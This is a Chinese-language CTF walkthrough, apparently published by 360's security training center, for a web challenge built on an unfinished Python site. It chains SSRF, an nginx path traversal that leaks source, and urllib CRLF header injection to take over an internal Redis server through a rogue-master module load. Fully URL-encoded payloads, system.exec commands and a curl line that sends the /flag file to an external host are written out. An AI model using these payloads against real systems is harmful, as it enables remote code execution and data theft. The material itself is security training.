大数跨境
0
0

赛题分析2:用Python写的一个网站 好像还没有写完?

赛题分析2:用Python写的一个网站  好像还没有写完? 360安全人才能力发展中心
2019-10-23
1
导读:此赛题来自于3CTF题目类型:Web

用Python写的一个网站

好像还没有写完?

2

题目类型:Web

解题思路:

1.打开网站,输入

http://www.baidu.com

并提交,发现显示百度页面。发现存在SSRF漏洞,测试发现只能使用http协议。

2.查看请求头,发现服务器使用了nginx,后端python版本为3.6.5。

3.猜测存在nginx目录穿越漏洞,访问

http://127.0.0.1:8000/static../main.py

可直接下载源码。

4.通过源码可以看出,服务器对请求的URL进行了判断,只能请求http://开头的。查找python历史漏洞,发现python3.6.5的urllib库存在http头注入漏洞。

https://bugs.python.org/issue35906


5. 进行测试,确认存在http头注入漏洞:

6.所以该题的思路就为:利用http头注入,攻击内网redis,获取redis服务器权限。


7.借用

https://github.com/Ridter/redis-rce/blob/master/redis-rce.py

利用脚本,修改脚本为本地的redis-poc.py,且利用其中的mk_cmd函数进行命令的构造。


8.完整攻击步骤:

# step 1, 开启恶意redis服务(附件下载)

python redis-poc.py -r 127.0.0.1 -p 6379 -L 0.0.0.0 -P 

7789 -f exp.so

# step 2,设置redis的主服务器为恶意redis服务.

auth password123                // 

*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a

SLAVEOF 192.168.21.1 7789       // 

*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$12%0d%0a192.168.21.1%0d%0a$4%0d%0a7789%0d%0a

CONFIG SET dbfilename exp.so    // 

*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$6%0d%0aexp.so%0d%0a

curl http://127.0.0.1:8000/ -XPOST --data 

'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$12%0d%0a192.168.21.1%0d%0a$4%0d%0a7789%0d%0a%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$6%0d%0aexp.so%0d%0a'

# step 3 加载恶意模块

auth password123                // 

*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a

MODULE LOAD ./exp.so            // 

*3%0d%0a$6%0d%0aMODULE%0d%0a$4%0d%0aLOAD%0d%0a$8%0d%0a./exp.so%0d%0a

SLAVEOF NO ONE                  // 

*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$2%0d%0aNO%0d%0a$3%0d%0aONE%0d%0a

curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*3%0d%0a$6%0d%0aMODULE%0d%0a$4%0d%0aLOAD%0d%0a$8%0d%0a./exp.so%0d%0a%0d%0a*3%0d%0a$7%0d%0aSLAVEOF%0d%0a$2%0d%0aNO%0d%0a$3%0d%0aONE%0d%0a%0d%0a'

# step 4 执行命令,因为无回显,所以利用curl命令把flag文件传输出去

auth password123                // 

*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a

system.exec 'curl -F "file=@/flag" 

http://192.168.21.1:7789'    // 

*2%0d%0a$11%0d%0asystem.exec%0d%0a$46%0d%0acurl%20-F%20%22file=@/flag%22%20http://192.168.21.1:7789%0d%0a

curl http://127.0.0.1:8000/ -XPOST --data 

'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a%0d%0a*2%0d%0a$11%0d%0asystem.exec%0d%0a$46%0d%0acurl%20-F%20%22file=@/flag%22%20http://192.168.21.1:7789%0d%0a'

# step 5 删除恶意模块,关闭恶意模块。

auth password123                // 

*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a

CONFIG SET dbfilename dump.rdb  // 

*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0adump.rdb%0d%0a

system.exec 'rm ./exp.so'       // 

*2%0d%0a$11%0d%0asystem.exec%0d%0a$11%0d%0arm%20./exp.so%0d%0a

MODULE UNLOAD system            // 

*3%0d%0a$6%0d%0aMODULE%0d%0a$6%0d%0aUNLOAD%0d%0a$6%0d%0asystem%0d%0a

curl http://127.0.0.1:8000/ -XPOST --data 'url=http://redis-server:6379/%0d%0a%0d%0a*2%0d%0a$4%0d%0aauth%0d%0a$11%0d%0apassword123%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$8%0d%0adump.rdb%0d%0a%0d%0a*2%0d%0a$11%0d%0asystem.exec%0d%0a$11%0d%0arm%20./exp.so%0d%0a%0d%0a*3%0d%0a$6%0d%0aMODULE%0d%0a$6%0d%0aUNLOAD%0d%0a$6%0d%0asystem%0d%0a%0d%0a


扫码关注我们

360网络安全大学

如果你想展示你的CTF能力,我们提供给你机会,平台近期开始向社会征集CTF题目,题目类型不限制,奖励丰厚,有想法的大佬可以联系

university@360.cn。

【声明】内容源于网络
0
0
360安全人才能力发展中心
360政企安全集团旗下面向教育服务领域的唯一官方机构,致力于通过对人才能力的研究、教育平台的打造、教学内容的开发、教育服务生态的建设,为各机构和组织提供网络安全组织能力咨询、人才能力培养、专业能力认证、人才能力评估等服务。
内容 395
粉丝 0
360安全人才能力发展中心 360政企安全集团旗下面向教育服务领域的唯一官方机构,致力于通过对人才能力的研究、教育平台的打造、教学内容的开发、教育服务生态的建设,为各机构和组织提供网络安全组织能力咨询、人才能力培养、专业能力认证、人才能力评估等服务。
总阅读601
粉丝0
内容395